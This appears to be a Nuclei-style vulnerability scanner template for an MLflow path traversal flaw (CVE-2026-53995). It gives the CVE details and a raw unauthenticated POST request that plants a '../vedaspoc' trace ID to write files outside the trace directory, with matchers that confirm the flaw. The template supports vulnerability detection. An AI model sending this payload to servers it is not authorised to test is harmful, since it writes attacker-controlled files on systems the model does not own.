id: CVE-2026-53995

info:
  name: "MLflow - Unauthenticated Trace ID Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking
    backend. An unauthenticated attacker can submit a crafted trace ID containing traversal sequences
    to the POST /api/3.0/mlflow/traces endpoint, causing FileStore.start_trace() to write
    trace_info.yaml, request_metadata and tag files with attacker-controlled metadata outside the
    intended experiment trace directory, subject to the server process's filesystem permissions.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-53995&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mlflow&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
    cvss-score: 8.2
    cve-id: CVE-2026-53995
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,mlflow,lfi,traversal

http:
  - raw:
      - |
        POST /api/3.0/mlflow/traces HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"trace":{"trace_info":{"trace_id":"../vedaspoc","trace_location":{"type":"MLFLOW_EXPERIMENT","mlflow_experiment":{"experiment_id":"0"}},"request_time":"1700000000000","state":"OK","trace_metadata":{},"tags":{}}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "../vedaspoc")'
          - '!contains(body, "INVALID_PARAMETER_VALUE")'
          - 'status_code == 200'
        condition: and